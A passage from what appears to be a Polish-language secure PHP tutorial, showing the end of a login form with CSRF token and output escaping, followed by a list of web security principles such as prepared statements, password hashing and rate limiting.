<p><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
<div class="warning">
Pozostało prób: <?= $attempts_left ?>
</div>
<?php endif; ?>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
<div class="form-group">
<label>Username:</label>
<input type="text"
name="username"
value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
required>
</div>
<div class="form-group">
<label>Hasło:</label>
<input type="password" name="password" required>
</div>
<button type="submit">Zaloguj się</button>
</form>
<div class="security-info">
<h3>Zabezpieczenia:</h3>
<ul>
<li>CSRF Protection</li>
<li>Rate Limiting (5 prób / 5 min)</li>
<li>Password Hashing (bcrypt)</li>
<li>Prepared Statements</li>
<li>XSS Protection</li>
<li>Session Security</li>
<li>Security Headers</li>
</ul>
</div>
</div>
</body>
</html>
Najważniejsze zasady
- NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
- Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
- htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
- password_hash() – NIGDY plain text haseł
- Tokeny CSRF – dla wszystkich formularzy zmieniających dane
- Security Headers – pierwsza linia obrony
- HTTPS – w produkcji ZAWSZE
- Rate Limiting – ochrona przed brute force
- Session Security – regeneruj ID, sprawdzaj fingerprint
- Keep it simple – prostszy kod = mniej błędów